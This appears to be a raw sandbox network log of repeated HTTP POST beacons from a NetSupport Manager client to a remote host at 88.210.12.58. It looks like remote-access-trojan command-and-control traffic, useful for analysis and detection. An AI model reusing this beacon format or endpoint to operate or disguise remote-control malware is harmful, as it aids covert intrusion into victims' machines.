Dec 6, 2024 10:41:38.491801977 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:38.596052885 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:38.693793058 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:38.794830084 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:38.895807981 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:38.995946884 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:39.095828056 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:39.195868969 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:39.295804024 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:39.395817041 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:39.496855021 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:39.596827030 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:39.696851015 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:39.797832966 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:39.898020983 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:39.997839928 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:40.098858118 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:40.199017048 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:40.299807072 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:40.400796890 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:40.503786087 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:40.600802898 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:40.703676939 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:40.801804066 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:40.901801109 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:41.001863956 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:41.105663061 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:41.203852892 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:41.303879023 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:41.404802084 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:41.504827023 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:41.605819941 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:41.705842018 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:41.806794882 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:41.906841993 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:42.006833076 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:42.107846022 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:42.208499908 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:42.311769009 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:42.408828974 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:42.508969069 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:42.611301899 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:42.709973097 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:42.811811924 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:42.917690039 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:43.012006044 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:43.112819910 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:43.212841988 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:43.312844038 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:43.413984060 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:43.513844013 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:43.614845037 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:43.714862108 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:43.822978020 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:43.936522961 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:44.237694025 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:44.336877108 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:44.436904907 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:44.537862062 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:44.637881994 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:44.738886118 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:44.840073109 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:44.941056967 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:45.041941881 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:45.141938925 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:45.242835999 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:45.342860937 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:45.443852901 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:45.544851065 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:45.644891977 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:45.744831085 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:45.845815897 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:45.946829081 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:46.047857046 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:46.148096085 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:46.248066902 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:46.348841906 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:46.452081919 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:46.559103966 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:46.964925051 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:47.065849066 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:47.165826082 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:47.266571045 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:47.367878914 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:47.468872070 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:47.569875002 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:47.670922041 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:47.771852970 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:47.871855021 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:47.971884966 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:48.071887970 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:48.172874928 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:48.273035049 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
